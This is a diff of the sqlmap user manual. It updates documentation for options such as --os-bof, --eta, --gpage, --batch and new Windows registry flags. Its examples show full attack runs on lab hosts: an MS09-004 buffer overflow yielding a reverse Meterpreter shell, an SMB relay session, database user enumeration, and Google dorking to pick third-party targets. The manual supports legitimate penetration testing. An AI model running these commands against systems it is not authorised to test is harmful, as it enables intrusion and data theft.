-[*] Sending Access Denied to 192.168.1.131:3244 W2K3DEV\Administrator
+[*] Ignoring request from 172.16.213.131, attack already in progress.
+[*] Sending Access Denied to 172.16.213.131:3244 W2K3DEV\Administrator
 [*] Sending stage (718336 bytes)
-[*] Meterpreter session 1 opened (192.168.1.161:51813 -> 192.168.1.131:4907)
+[*] Meterpreter session 1 opened (172.16.213.161:51813 -> 172.16.213.131:4907)
 
 Active sessions
 ===============
 
   Id  Description  Tunnel                                       
   --  -----------  ------                                       
-  1   Meterpreter  192.168.1.161:51813 -> 192.168.1.131:4907  
+  1   Meterpreter  172.16.213.161:51813 -> 172.16.213.131:4907  
 
 msf exploit(smb_relay) > [*] Starting interaction with 1...
 
@@ -4861,69 +5244,61 @@ msf exploit(smb_relay) > exit
 
      
 
 
-
      Stored procedure buffer overflow exploitation
      
+
      Database stored procedure heap-based buffer overflow exploit
      
 
-
      Options: --os-bof, --priv-esc and --msf-path
      
+
      Options: --os-bof, --priv-esc and --msf-path
      
 
-
      If the back-end database management system is not patched against Microsoft
-Security Bulletin 
-MS09-004,
-sqlmap can exploit the heap-based buffer overflow affecting
-sp_replwritetovarbin stored procedure in order to establish an
-out-of-band TCP stateful channel between the attacker host and the
-target database server.
+
      If the back-end database management system is Microsoft SQL Server not
+patched against Microsoft Security Bulletin
+MS09-004, sqlmap can exploit the heap-based buffer overflow
+affecting sp_replwritetovarbin stored procedure in order to
+establish an out-of-band TCP stateful channel between the
+attacker host and the target database server.
 sqlmap has its own exploit to trigger the vulnerability, but it relies on
 Metasploit to
-generate the shellcode used within the exploit, so you need to have it
-already on your system: it's free and can be downloaded from the homepage.
      
+generate the shellcode used within the exploit.
      
 
 
      Note that this feature is not supported by sqlmap running on Windows
-because Metasploit's msfconsole and msfcli are not supported on the native
-Windows Ruby interpreter.
      
+platform because it relies on Metasploit's msfcli which is not
+available for Windows.
      
 
-
      This technique is detailed on the white paper
-Advanced SQL injection to operating system full control.
      
+
      This technique is detailed in the white paper
+Advanced SQL injection to operating system full control and in the
+slide deck 
+Expanding the control over the operating system from the database.
      
 
 
      Example on a Microsoft SQL Server 2005 Service Pack 0 target:
      
 
      
 
      
 
      -$ sudo python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/iis/get_str2.asp?name=luther" \
-  --os-bof -v 1 --msf-path /home/inquis/software/metasploit
+$ python sqlmap.py -u http://172.16.213.128/sqlmap/mssql/iis/get_int.asp?id=1 \
+  --os-bof -v 1 --msf-path ~/software/metasploit
 
 [...]
-[hh:mm:09] [INFO] the back-end DBMS is Microsoft SQL Server
-web server operating system: Windows 2000
 web application technology: ASP.NET, Microsoft IIS 6.0, ASP
 back-end DBMS: Microsoft SQL Server 2005
 
-[hh:mm:09] [INFO] testing stacked queries support on parameter 'name'
-[hh:mm:14] [INFO] the web application supports stacked queries on parameter 'name'
-[hh:mm:14] [INFO] going to exploit the Microsoft SQL Server 2005 'sp_replwritetovarbin' 
+[hh:mm:51] [INFO] testing stacked queries support on parameter 'id'
+[hh:mm:56] [INFO] the web application supports stacked queries on parameter 'id'
+[hh:mm:56] [INFO] going to exploit the Microsoft SQL Server 2005 'sp_replwritetovarbin' 
 stored procedure heap-based buffer overflow (MS09-004)
-[hh:mm:14] [INFO] fingerprinting the back-end DBMS operating system version and service pack
-[hh:mm:14] [INFO] retrieved: 1
-[hh:mm:15] [INFO] retrieved: 1
-[hh:mm:15] [INFO] the back-end DBMS operating system is Windows 2003 Service Pack 2
-[hh:mm:15] [INFO] testing if current user is DBA
-[hh:mm:15] [INFO] retrieved: 1
-[hh:mm:15] [INFO] checking if xp_cmdshell extended procedure is available, wait..
-[hh:mm:21] [INFO] xp_cmdshell extended procedure is available
-[hh:mm:21] [INFO] creating Metasploit Framework 3 multi-stage shellcode for the exploit
+[hh:mm:56] [INFO] fingerprinting the back-end DBMS operating system version and service pack
+[hh:mm:56] [INFO] retrieved: 1
+[hh:mm:58] [INFO] retrieved: 1
+[hh:mm:58] [INFO] the back-end DBMS operating system is Windows 2003 Service Pack 2
+[hh:mm:58] [INFO] creating Metasploit Framework 3 multi-stage shellcode 
 which connection type do you want to use?
-[1] Bind TCP (default)
-[2] Bind TCP (No NX)
-[3] Reverse TCP
-[4] Reverse TCP (No NX)
+[1] Reverse TCP: Connect back from the database host to this machine (default)
+[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports 
+between the specified and 65535
+[3] Bind TCP: Listen on the database host for a connection
 > 
-which is the back-end DBMS address? [192.168.1.131] 
-which remote port numer do you want to use? [39391] 62719
+which is the local address? [172.16.213.1] 
+which local port number do you want to use? [21380] 
 which payload do you want to use?
-[1] Reflective Meterpreter (default)
-[2] PatchUp Meterpreter (only from Metasploit development revision 6742)
-[3] Shell
-[4] Reflective VNC
-[5] PatchUp VNC (only from Metasploit development revision 6742)
+[1] Meterpreter (default)
+[2] Shell
+[3] VNC
 > 
 which payload encoding do you want to use?
 [1] No Encoder
@@ -4940,217 +5315,122 @@ which payload encoding do you want to use?
 [12] Alpha2 Alphanumeric Unicode Mixedcase Encoder
 [13] Alpha2 Alphanumeric Unicode Uppercase Encoder
 > 
-[hh:mm:50] [INFO] creation in progress .................. done
-[hh:mm:08] [INFO] handling DEP
-[hh:mm:08] [INFO] the back-end DBMS underlying operating system supports DEP: going to 
-handle it
-[hh:mm:08] [INFO] checking DEP system policy
-[hh:mm:09] [INFO] retrieved: OPTIN
-[hh:mm:12] [INFO] only Windows system binaries are covered by DEP by default
-[hh:mm:12] [INFO] running Metasploit Framework 3 command line interface locally, wait..
-[hh:mm:12] [INFO] triggering the buffer overflow vulnerability, wait..
+[hh:mm:16] [INFO] creation in progress .... done
+[hh:mm:20] [INFO] running Metasploit Framework 3 command line interface locally, wait..
 [*] Please wait while we load the module tree...
-[*] Started bind handler
+[*] Started reverse handler on 172.16.213.1:21380 
 [*] Starting the payload handler...
-[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
-[*] Sending stage (718336 bytes)
-[*] Meterpreter session 1 opened (192.168.1.161:33765 -> 192.168.1.131:62719)
+[hh:mm:27] [INFO] triggering the buffer overflow vulnerability, wait..
+[*] Sending stage (748032 bytes)
+[*] Meterpreter session 1 opened (172.16.213.1:21380 -> 172.16.213.128:12062)
 
+meterpreter > Loading extension espia...success.
+meterpreter > Loading extension incognito...success.
 meterpreter > Loading extension priv...success.
-meterpreter > getuid
-Server username: NT AUTHORITY\NETWORK SERVICE
+meterpreter > Loading extension sniffer...success.
+meterpreter > Computer: W2K3DEV
+OS      : Windows .NET Server (Build 3790, Service Pack 2).
+Arch    : x86
+Language: en_US
+meterpreter > Server username: NT AUTHORITY\NETWORK SERVICE
+meterpreter > ipconfig
+
+MS TCP Loopback interface
+Hardware MAC: 00:00:00:00:00:00
+IP Address  : 127.0.0.1
+Netmask     : 255.0.0.0
+
+
+
+VMware Accelerated AMD PCNet Adapter #2
+Hardware MAC: 00:0c:29:86:69:1b
+IP Address  : 172.16.213.128
+Netmask     : 255.255.255.0
+
+
 meterpreter > exit
 
      
 
      
 
      
 
 
-
      5.10 Miscellaneous
+
      5.11 Windows registry access
 
      
 
-
      Estimated time of arrival
      
+
      Read a Windows registry key value
      
 
-
      Option: --eta
      
+
      Option: --reg-read
      
 
-
      It is possible to calculate and show the estimated time of arrival to
-retrieve each query output in real time while performing the SQL injection
-attack.
      
-
-
      Example on an Oracle XE 10.2.0.1 target:
      
-
      
-
      
-
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" -b \
-  --eta -v 1
-
-[...]
-back-end DBMS:  Oracle
-
-[hh:mm:24] [INFO] fetching banner
-[hh:mm:24] [INFO] the resumed output is partial, sqlmap is going to retrieve the query 
-output again
-[hh:mm:24] [INFO] retrieved the length of query output: 64
-[hh:mm:24] [INFO] query: SELECT NVL(CAST(banner AS VARCHAR(4000)), (CHR(32))) FROM v$version 
-WHERE ROWNUM=1
-77% [=======================================>            ] 49/64  ETA 00:00    
-
      
-
      
-
      
-
-
      then:
      
-
      
-
      
-
      -100% [====================================================] 64/64              
-[hh:mm:15] [INFO] performed 454 queries in 2 seconds
-banner:    'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
-
      
-
      
-
      
-
-
      Example on a Microsoft SQL Server 2000 Service Pack 0 target:
      
-
      
-
      
-
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" \
-  --users --eta -v 1
-
-[...]
-back-end DBMS:  Microsoft SQL Server 2000
-
-[hh:mm:57] [INFO] fetching database users
-[hh:mm:57] [INFO] fetching number of database users
-[hh:mm:57] [INFO] query: SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS VARCHAR(8000)), 
-(CHAR(32))) FROM master..syslogins
-[hh:mm:57] [INFO] retrieved: 3
-[hh:mm:57] [INFO] performed 13 queries in 0 seconds
-[hh:mm:57] [INFO] retrieved the length of query output: 22
-[hh:mm:57] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM 
-master..syslogins WHERE name NOT IN (SELECT TOP 0 name FROM master..syslogins ORDER BY name) 
-ORDER BY name
-100% [====================================================] 22/22              
-[hh:mm:58] [INFO] performed 160 queries in 0 seconds
-[hh:mm:58] [INFO] retrieved the length of query output: 2
-[hh:mm:58] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM 
-master..syslogins WHERE name NOT IN (SELECT TOP 1 name FROM master..syslogins ORDER BY name) 
-ORDER BY name
-100% [====================================================] 2/2                
-[hh:mm:59] [INFO] performed 20 queries in 0 seconds
-[hh:mm:59] [INFO] retrieved the length of query output: 25
-[hh:mm:59] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM 
-master..syslogins WHERE name NOT IN (SELECT TOP 2 name FROM master..syslogins ORDER BY name) 
-ORDER BY name
-100% [====================================================] 25/25              
-[hh:mm:00] [INFO] performed 181 queries in 1 seconds
-database management system users [3]:
-[*] BUILTIN\Administrators
-[*] sa
-[*] W2KITINQUIS\Administrator
-
      
-
      
-
      
-
-
      As you can see, sqlmap first calculates the length of the query output,
-then estimated the time of arrival, shows the progress in percentage and
-counts the number of retrieved query output characters.
      
+
      TODO
      
 
 
-
      Update sqlmap to the latest stable version
      
+
      Write a Windows registry key value data
      
 
-
      Option: --update
      
+
      Option: --reg-add
      
+
+
      TODO
      
 
 
-
      It is possible to update sqlmap to the latest stable version available on
-its 
-SourceForge File List page by running it with the
---update option.
      
-
      
-
      
-
      -$ python sqlmap.py --update -v 4
+
      Delete a Windows registry key value
      
 
-[hh:mm:53] [DEBUG] initializing the configuration
-[hh:mm:53] [DEBUG] initializing the knowledge base
-[hh:mm:53] [DEBUG] cleaning up configuration parameters
-[hh:mm:53] [DEBUG] setting the HTTP method to perform HTTP requests through
-[hh:mm:53] [DEBUG] creating HTTP requests opener object
-[hh:mm:53] [INFO] updating sqlmap
-[hh:mm:53] [DEBUG] checking if a new version is available
-[hh:mm:55] [TRAFFIC OUT] HTTP request:
-GET /doc/VERSION HTTP/1.1
-Host: sqlmap.sourceforge.net
-User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
-Connection: close
+
      Option: --reg-del
      
 
-[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
-Date: Fri, 01 Aug 2008 14:50:55 GMT
-Server: Apache/1.3.33 (Unix) PHP/4.3.10
-Last-Modified: Thu, 31 Jul 2008 11:10:19 GMT
-ETag: "9fcc53e-4-48919d9b"
-Accept-Ranges: bytes
-Content-Length: 4
-Connection: close
-Content-Type: text/plain
-X-Pad: avoid browser bug
-
-[hh:mm:55] [INFO] you are already running sqlmap latest stable version
-[hh:mm:55] [INFO] updating Microsoft SQL Server XML versions file
-[hh:mm:56] [TRAFFIC OUT] HTTP request:
-GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
-Host: www.sqlsecurity.com
-User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
-Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0; 
-language=en-US
-Connection: close
-
-[hh:mm:02] [TRAFFIC IN] HTTP response (OK - 200):
-Cache-Control: private
-Connection: close
-Date: Fri, 01 Aug 2008 14:50:50 GMT
-Content-Length: 167918
-Content-Type: text/html; charset=utf-8
-Server: Microsoft-IIS/6.0
-X-Powered-By: ASP.NET
-X-AspNet-Version: 2.0.50727
-Set-Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0; 
-expires=Fri, 10-Oct-2008 01:30:49 GMT; path=/; HttpOnly
-Set-Cookie: language=en-US; path=/; HttpOnly
-
-[hh:mm:02] [INFO] no new Microsoft SQL Server versions since the last update
-[hh:mm:02] [DEBUG] parsing XML queries file
-
      
-
      
-
      
-
-
      As you can see, sqlmap first check if a new stable version is available,
-then in case it is, download it, unzip it and update the Microsoft SQL
-Server XML versions file from Chip Andrews'
-SQLSecurity.com site.
      
-
-
      Note that the default configuration file sqlmap.conf is backupped
-to sqlmap.conf.bak in case a new stable version is available and
-your copy is updated.
      
+
      TODO
      
 
 
-
      Save and resume all data retrieved on a session file
      
+
      Windows registry key
      
+
+
      Option: --reg-key
      
+
+
      TODO
      
+
+
+
      Windows registry key value
      
+
+
      Option: --reg-value
      
+
+
      TODO
      
+
+
+
      Windows registry key value data
      
+
+
      Option: --reg-data
      
+
+
      TODO
      
+
+
+
      Windows registry key value type
      
+
+
      Option: --reg-type
      
+
+
      TODO
      
+
+
+
      5.12 Miscellaneous
+
      
+
+
      Session file: save and resume all data retrieved
      
 
 
      Option: -s
      
 
-
      It is possible to log all queries and their output on a text file while
+
      By default sqlmap logs all queries and their output into a text file while
 performing whatever request, both in blind SQL injection and in inband SQL
 injection.
 This is useful if you stop the injection and resume it after some time.
      
 
+
      The default session file is output/hostname/session, but you can
+change its path with the -s option.
      
+
 
      Example on a PostgreSQL 8.3.5 target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \
-  -v 1 -s "sqlmap.log"
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b \
+  -v 2 -s "sqlmap.log"
 
 [...]
 back-end DBMS:  PostgreSQL
-[hh:mm:02] [INFO] query: VERSION()
+[hh:mm:02] [DEBUG] query: VERSION()
 [hh:mm:02] [INFO] retrieved: PostgreSQL 8.3.5 on i486-pc-^C
 [hh:mm:03] [ERROR] user aborted
 
      
@@ -5166,16 +5446,16 @@ retrieving the PostgreSQL banner and logged the session to text file
 $ cat sqlmap.log
 
 [hh:mm:00 MM/DD/YY]
-[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection point][GET]
-[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection parameter][id]
-[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection type][numeric]
-[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Parenthesis][0]
-[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][CONCAT('9', '9')][]
-[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH(SYSDATE)][]
-[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][COALESCE(3, NULL)][3]
-[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH('3')][1]
-[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][DBMS][PostgreSQL]
-[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][VERSION()][PostgreSQL 8.3.5 
+[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection point][GET]
+[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection parameter][id]
+[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection type][numeric]
+[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Parenthesis][0]
+[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][CONCAT('9', '9')][]
+[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH(SYSDATE)][]
+[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][COALESCE(3, NULL)][3]
+[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH('3')][1]
+[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][DBMS][PostgreSQL]
+[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][VERSION()][PostgreSQL 8.3.5 
 on i486-pc-
 
      
 
      
@@ -5201,8 +5481,8 @@ retrieved to the end of the query output.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \
-  -v 1 -s "sqlmap.log"
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b \
+  -v 2 -s "sqlmap.log"
 
 [...]
 [hh:mm:03] [INFO] resuming injection point 'GET' from session file
@@ -5213,11 +5493,11 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \
 [hh:mm:03] [INFO] testing connection to the target url
 [hh:mm:03] [INFO] testing for parenthesis on injectable parameter
 [hh:mm:03] [INFO] retrieving the length of query output
-[hh:mm:03] [INFO] query: LENGTH(VERSION())
+[hh:mm:03] [DEBUG] query: LENGTH(VERSION())
 [hh:mm:03] [INFO] retrieved: 98
 [hh:mm:03] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.3.5 on i486-pc-...
 [hh:mm:03] [INFO] retrieving pending 70 query output characters
-[hh:mm:03] [INFO] query: SUBSTR((VERSION())::text, 29, 98)
+[hh:mm:03] [DEBUG] query: SUBSTR((VERSION())::text, 29, 98)
 [hh:mm:03] [INFO] retrieved: linux-gnu, compiled by GCC gcc-4.3.real 
 (Ubuntu 4.3.2-1ubuntu11) 4.3.2
 web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
@@ -5233,9 +5513,164 @@ banner:    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
 
      
 
 
-
      Save options on a configuration INI file
      
+
      Flush session file for current target
      
 
-
      Option: --save
      
+
      Option: --flush-session
      
+
+
      As you are already familiar with the concept of a session file from the
+description of option -s, it is good to know that you can flush
+the content of that same file using option --flush-session.
+This way you can avoid caching mechanisms implemented by default in
+sqlmap. Other possible way is the manual removing of session file(s),
+sqlmap.log in the example above, or the default
+output/hostname/session if -s is not provided.
      
+
+
+
      Estimated time of arrival
      
+
+
      Option: --eta
      
+
+
      It is possible to calculate and show the estimated time of arrival to
+retrieve each query output in real time while performing the SQL injection
+attack.
      
+
+
      Example on an Oracle XE 10.2.0.1 target:
      
+
      
+
      
+
      +$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" -b \
+  --eta -v 2
+
+[...]
+back-end DBMS:  Oracle
+
+[hh:mm:24] [INFO] fetching banner
+[hh:mm:24] [INFO] the resumed output is partial, sqlmap is going to retrieve the query 
+output again
+[hh:mm:24] [INFO] retrieved the length of query output: 64
+[hh:mm:24] [DEBUG] query: SELECT NVL(CAST(banner AS VARCHAR(4000)), (CHR(32))) FROM v$version 
+WHERE ROWNUM=1
+77% [=======================================>            ] 49/64  ETA 00:00    
+
      
+
      
+
      
+
+
      then:
      
+
      
+
      
+
      +100% [====================================================] 64/64              
+[hh:mm:15] [DEBUG] performed 454 queries in 2 seconds
+banner:    'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
+
      
+
      
+
      
+
+
      Example on a Microsoft SQL Server 2000 Service Pack 0 target:
      
+
      
+
      
+
      +$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" \
+  --users --eta -v 1
+
+[...]
+back-end DBMS:  Microsoft SQL Server 2000
+
+[hh:mm:57] [INFO] fetching database users
+[hh:mm:57] [INFO] fetching number of database users
+[hh:mm:57] [INFO] retrieved: 3
+[hh:mm:57] [INFO] retrieved the length of query output: 22
+100% [====================================================] 22/22
+[hh:mm:58] [INFO] retrieved the length of query output: 2
+100% [====================================================] 2/2
+[hh:mm:59] [INFO] retrieved the length of query output: 25
+100% [====================================================] 25/25
+[hh:mm:00] [DEBUG] performed 181 queries in 1 seconds
+database management system users [3]:
+[*] BUILTIN\Administrators
+[*] sa
+[*] W2KITINQUIS\Administrator
+
      
+
      
+
      
+
+
      As you can see, sqlmap first calculates the length of the query output,
+then estimates the time of arrival, shows the progress in percentage and
+counts the number of retrieved query output characters.
      
+
+
+
      Use Google dork results from specified page number
      
+
+
      Option: --gpage
      
+
+
      Default sqlmap behavior with option -g is to do a Google
+search and use resulting urls from first (100) result page for further 
+sql injection testing. In combination with this option you can specify
+some other page other than the first one for retrieving target urls.
      
+
+
      Example of Google dorking with expression login ext:php 
+and resulting page set to 3:
      
+
      
+
      
+
      +$ python sqlmap.py -g "ext:php login" --gpage 3 -v 1
+
+[hh:mm:14] [INFO] first request to Google to get the session cookie
+[hh:mm:14] [INFO] using Google result page #3
+[hh:mm:14] [INFO] sqlmap got 100 results for your Google dork expression, 89 of them are 
+testable targets
+[hh:mm:15] [INFO] sqlmap got a total of 89 targets
+url 1:
+GET http://www.XXX.com/index.php?pageid=login
+do you want to test this url? [Y/n/q]
+> y
+[hh:mm:17] [INFO] testing url http://www.XXX.com/index.php?pageid=login
+[hh:mm:17] [INFO] using '/home/inquis/sqlmap/output/www.XXX.com/session' as session file
+[hh:mm:17] [INFO] testing connection to the target url
+[hh:mm:17] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:19] [INFO] url is stable
+[hh:mm:19] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:21] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:22] [INFO] testing if Cookie parameter 'PHPSESSID' is dynamic
+[hh:mm:24] [INFO] confirming that Cookie parameter 'PHPSESSID' is dynamic
+[hh:mm:27] [INFO] Cookie parameter 'PHPSESSID' is dynamic
+[...]
+
      
+
      
+
      
+
+
+
      Update sqlmap
      
+
+
      Option: --update
      
+
+
      Using this option you can update the program to the latest version
+directly from the Subversion repository along with the latest
+Microsoft SQL Server XML versions file from Chip Andrews'
+SQLSecurity.com site.
      
+
      
+
      
+
      +$ python sqlmap.py --update
+
+[...]
+[hh:mm:27] [INFO] updating sqlmap to latest development version from the subversion repository
+[hh:mm:28] [INFO] updated to the latest revision XXXX
+[hh:mm:29] [INFO] updating Microsoft SQL Server XML versions file
+[hh:mm:33] [INFO] no new Microsoft SQL Server versions since the last update
+[...]
+
      
+
      
+
      
+
+
      The Debian and Red Hat installation packages (deb and rpm) as well as the
+Windows binary package (exe) can not be used to update sqlmap. You need
+a source package (gzip, bzip2 or zip) to use this feature.
      
+
+
+
      Save options in a configuration INI file
      
+
+
      Option: --save
      
 
 
      It is possible to save the command line options to a configuration INI
 file.
      
@@ -5244,10 +5679,10 @@ file.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b \
   -v 1 --save
 
-[hh:mm:33] [INFO] saved command line options on '/software/sqlmap/sqlmap-SAUbs.conf' 
+[hh:mm:33] [INFO] saved command line options on '/home/inquis/sqlmap/sqlmap-SAUbs.conf' 
 configuration file
 [hh:mm:33] [INFO] testing connection to the target url
 [hh:mm:33] [INFO] testing if the url is stable, wait a few seconds
@@ -5263,12 +5698,31 @@ INI file, sqlmap-SAUbs.conf.
      
 
       $ cat sqlmap-SAUbs.conf
 [Target]
-url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1
+url = http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1
 googledork = 
+configfile = 
 list = 
+requestfile = 
+
+[Windows]
+regread = False
+regval = 
+regdata = 
+regadd = False
+regdel = False
+regtype = 
+regkey = 
+
+[User-defined function]
+shlib = 
+udfinject = False
 
 [Request]
+cookieurlencode = False
+ignoreproxy = False
 threads = 1
+acert = 
+retries = 3
 useragentsfile = 
 atype = 
 agent = 
@@ -5277,8 +5731,10 @@ headers =
 cookie = 
 proxy = 
 timeout = 30
+scope = 
 acred = 
 referer = 
+dropsetcookie = False
 data = 
 method = GET
 
@@ -5287,31 +5743,35 @@ updateall = False
 sessionfile = 
 eta = False
 batch = False
+flushsession = False
 cleanup = False
+googlepage = 0
 verbose = 1
 
 [Enumeration]
-dumpall = False
 limitstop = 0
-getusers = False
-isdba = False
 getpasswordhashes = False
 excludesysdbs = False
 getcurrentdb = False
+getcurrentuser = False
+limitstart = 0
+query = 
+getusers = False
+isdba = False
 gettables = False
 dumptable = False
+getdbs = False
 db = 
-limitstart = 0
-getprivileges = False
 sqlshell = False
 tbl = 
+firstchar = 0
 getcolumns = False
-query = 
-getdbs = False
-user = 
-col = 
-getcurrentuser = False
 getbanner = True
+dumpall = False
+getprivileges = False
+lastchar = 0
+col = 
+user = 
 
 [File system]
 dfile = 
@@ -5343,26 +5803,25 @@ eregexp =
 os = 
 
 [Techniques]
-stackedtest = False
 utech = 
 unionuse = False
 timetest = False
 uniontest = False
+stackedtest = False
+timesec = 5
 
      
 
      
 
      
 
 
      The file is a valid sqlmap configuration INI file.
 You can edit the configuration options as you wish and pass it to sqlmap
-with the -c option as explained above in section 5.2:
      
+with the -c option as explained above in section 5.2.5:
      
 
      
 
      
 
      -$ python sqlmap.py -c "sqlmap-SAUbs.conf"
+$ python sqlmap.py -c sqlmap-SAUbs.conf
 
 [...]
-[hh:mm:16] [INFO] performed 657 queries in 6 seconds
-
 banner:    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real 
 (Ubuntu 4.3.2-1ubuntu11) 4.3.2'
 
      
@@ -5372,19 +5831,20 @@ banner:    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
 
 
      Act in non-interactive mode
      
 
-
      Option: --batch
      
+
      Option: --batch
      
 
-
      If you want sqlmap to run as a batch tool, without interacting with you in
-case of a choice has to be done, you can force it by using --batch
-option than letting sqlmap go for a default behaviour.
      
+
      If you want sqlmap to run as a batch tool, without any user's interaction 
+when sqlmap requires it, you can force it by using --batch
+option, and leave sqlmap to go for a default behaviour.
      
 
 
      Example on a MySQL 5.0.67 target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_str.php?id=1&name=luther" \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_str.php?id=1&name=luther" \
   --batch -v 1
 
+[...]
 [hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
 [hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
 [hh:mm:22] [INFO] GET parameter 'id' is dynamic
@@ -5414,23 +5874,23 @@ back-end DBMS:  MySQL >= 5.0.0
 
      
 
      
 
-
      As you can see, sqlmap choosed automatically to injection on the first
-vulnerable parameter which is the default behaviour.
      
+
      As you can see, sqlmap by default chose the injection payload to the first
+vulnerable parameter.
      
 
 
-
      Clean up the DBMS by sqlmap specific UDF and tables
      
+
      Cleanup the DBMS by sqlmap specific UDF(s) and table(s)
      
 
-
      Option: --cleanup
      
+
      Option: --cleanup
      
 
 
      It is recommended to clean up the back-end database management system from
-sqlmap temporary tables and created user-defined functions when you are
-done with owning the underlying operating system or file system.
      
+sqlmap temporary table(s) and created user-defined function(s) when you
+are done with owning the underlying operating system or file system.
      
 
 
      Example on a PostgreSQL 8.3.5 target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/iis/get_int.aspx?id=1" \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/iis/get_int.aspx?id=1" \
   -v 2 --cleanup
 
 [...]
@@ -5459,19 +5919,22 @@ WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
 FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
 details.
      
 
-
      Whatever you do with this tool is uniquely your responsability. If you are
+
      Whatever you do with this tool is uniquely your responsibility. If you are
 not authorized to punch holes in the network you are attacking be aware
 that such action might get you in trouble with a lot of law enforcement
 agencies.
      
 
 
-
      7. Author
      
+
      7. Authors
      
 
 
      
 Bernardo Damele A. G. (inquis) - Lead developer.
 PGP Key ID: 
 0x05F5A30F
      
-
+
      
+Miroslav Stampar (stamparm) - Developer.
+PGP Key ID: 
+0xB5397B1B
      
 
 
 
diff --git a/doc/README.pdf b/doc/README.pdf
index 1c69e46b5..e2910ff5c 100644
Binary files a/doc/README.pdf and b/doc/README.pdf differ
diff --git a/doc/README.sgml b/doc/README.sgml
index e4aa25ea0..92d02520b 100644
--- a/doc/README.sgml
+++ b/doc/README.sgml
@@ -35,7 +35,7 @@ requires the Python interpreter version equal or above to 2.5.
 The interpreter is freely downloadable from its
 .
 To make it even easier, many GNU/Linux distributions come out of the box
-with Python interpreter installed and other Unices and MacOS X too provide
+with Python interpreter installed and other Unices and Mac OSX too provide
 it packaged in their formats and ready to be installed.
 Windows users can download and install the Python setup-ready installer
 for x86, AMD64 and Itanium too.
@@ -61,8 +61,9 @@ history support functionalities in the SQL shell and OS shell.
 Note that these functionalities are available natively by Python standard
 
 library on other operating systems.
-You can also choose to install 
